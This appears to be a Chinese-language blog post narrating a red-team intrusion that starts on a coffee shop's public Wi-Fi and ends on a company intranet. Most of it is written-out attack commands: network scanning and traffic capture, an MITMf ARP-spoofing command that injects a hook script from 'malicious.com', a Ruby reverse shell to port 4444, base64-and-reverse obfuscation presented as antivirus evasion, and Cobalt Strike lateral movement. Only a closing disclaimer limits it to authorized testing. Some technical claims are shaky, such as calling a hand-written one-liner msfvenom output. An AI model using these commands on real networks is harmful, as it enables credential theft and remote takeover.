一、从咖啡店Wi-Fi到公司内网的渗透之旅

还记得那天,我在一家繁忙的咖啡店里坐下,准备享受一杯香浓的卡布奇诺,同时进行一次别样的挑战:利用咖啡店的公共Wi-Fi对一家公司进行模拟渗透测试。这家公司的员工习惯通过店内Wi-Fi访问公司资源,这为我提供了一个绝佳的攻击切入点。

黑客示意图

APT的诱惑

在进行任何攻击之前,我首先需要了解目标环境的网络结构,并找到潜在的漏洞。利用Wiresharknmap,我开始捕获流量和扫描连接设备的开放端口。这是一次典型的APT攻击场景:从外部网络逐步渗透到目标公司的内网。

黑客示意图

<pre><code class="language-shell"># 使用nmap扫描局域网内的所有设备 nmap -sn 192.168.1.0/24

捕获流量以识别潜在的登录请求

tshark -i wlan0 -Y &#039;http.request.method == &quot;POST&quot;&#039;</code></pre>

通过分析抓包结果,我注意到某些设备定期发送未经加密的公司VPN登录请求,这为我下一步的中间人攻击提供了绝佳机会。

二、流量捕获实战

中间人攻击是一种经典而有效的技术,特别是在未加密的Wi-Fi网络上。为了在不引起怀疑的情况下获取登录凭证,我使用了MITMf(Man-In-The-Middle Framework),一个功能强大的工具,可以在流量中注入恶意内容。

<pre><code class="language-shell"># 使用MITMf进行中间人攻击 mitmf --arp --spoof -i wlan0 --gateway 192.168.1.1 --target 192.168.1.105 --inject --js-url http://malicious.com/hook.js</code></pre>

这段代码将我的设备置于目标设备与路由器之间,从而拦截所有通信。通过这种方式,我成功获取到目标设备的VPN登录凭证,当然,这一切都在不被察觉的情况下完成。

三、Payload构造的艺术

获得凭证只是开始,接下来是构造一个隐蔽的Payload以进一步渗透公司内部网络。选择Metasploit框架的Meterpreter作为Payload是因为其强大的功能和灵活性,能够在目标系统上保持长久控制。

Ruby中创建Payload

利用Ruby语言,我们可以灵活地定制Payload,以便更好地绕过安全检测。

<pre><code class="language-ruby"># 使用msfvenom生成一个自定义的Payload payload = &quot;ruby -rsocket -e&#039;f=TCPSocket.open(\&quot;192.168.1.100\&quot;,4444).to_i;exec sprintf(\&quot;/bin/sh -i &lt;&amp;%d &gt;&amp;%d 2&gt;&amp;%d\&quot;,f,f,f)&#039;&quot;

保存Payload到文件

File.open(&quot;payload.rb&quot;, &quot;w&quot;) { |file| file.write(payload) }</code></pre>

通过这种方式,我们创建了一个简单但有效的Reverse Shell Payload,将其伪装成常用应用程序发送给目标。

四、巧妙的免杀策略

尽管Payload已经构建完成,但现代防御系统普遍具有强大的检测能力。因此,如何绕过杀毒软件和EDR成为成功的关键。在这次攻击中,我采用了代码混淆和加壳技术来达到免杀效果。

Shell代码混淆

<pre><code class="language-shell"># 使用bash混淆Payload obfuscate_payload() { echo &quot;$1&quot; | base64 | tr -d &#039;\n&#039; | rev }

黑客示意图

obfuscated_payload=$(obfuscate_payload &quot;$payload&quot;) echo $obfuscated_payload &gt; obfuscated_payload.sh</code></pre>

通过这种方式,Payload被Base64编码和反转,增加了检测难度。随后,在目标系统上使用简单的解码脚本执行Payload。

五、内网横行的冒险

成功在目标系统执行Payload后,我开始在内网中横向移动,以获取更多系统的控制权和敏感数据。凭借之前获取的VPN凭证,我利用Cobalt Strike中的beacon模块,在内网中无声无息地游走。

<pre><code class="language-shell"># 使用Cobalt Strike进行横向移动 beacon&gt; link 192.168.1.110 beacon&gt; shell whoami</code></pre>

探测网络中的其他设备并尝试使用相同的凭证进行连接,通常能在一个毫无防备的IT环境中取得巨大成功。

六、红队的智慧分享

在整个操作过程中,我不仅成功地验证了目标网络的安全漏洞,还积累了宝贵的经验。每一次红队演练都是一次锤炼技术和提升思维的机会。以下是一些建议:

  1. 灵活运用工具:不同的网络环境需要不同的工具组合,保持工具箱的多样性。
  2. 不断学习新技术:安全形势瞬息万变,保持学习新漏洞和攻击手法的热情。
  3. 模拟真实场景:尽量模拟逼真的APT攻击,全面检验目标的防御能力。

请记住:本文仅供授权渗透测试使用,请确保所有操作均在法律允许的范围内进行,并获得必要的授权。这不仅是法律要求,也是对红队专业精神的基本遵循。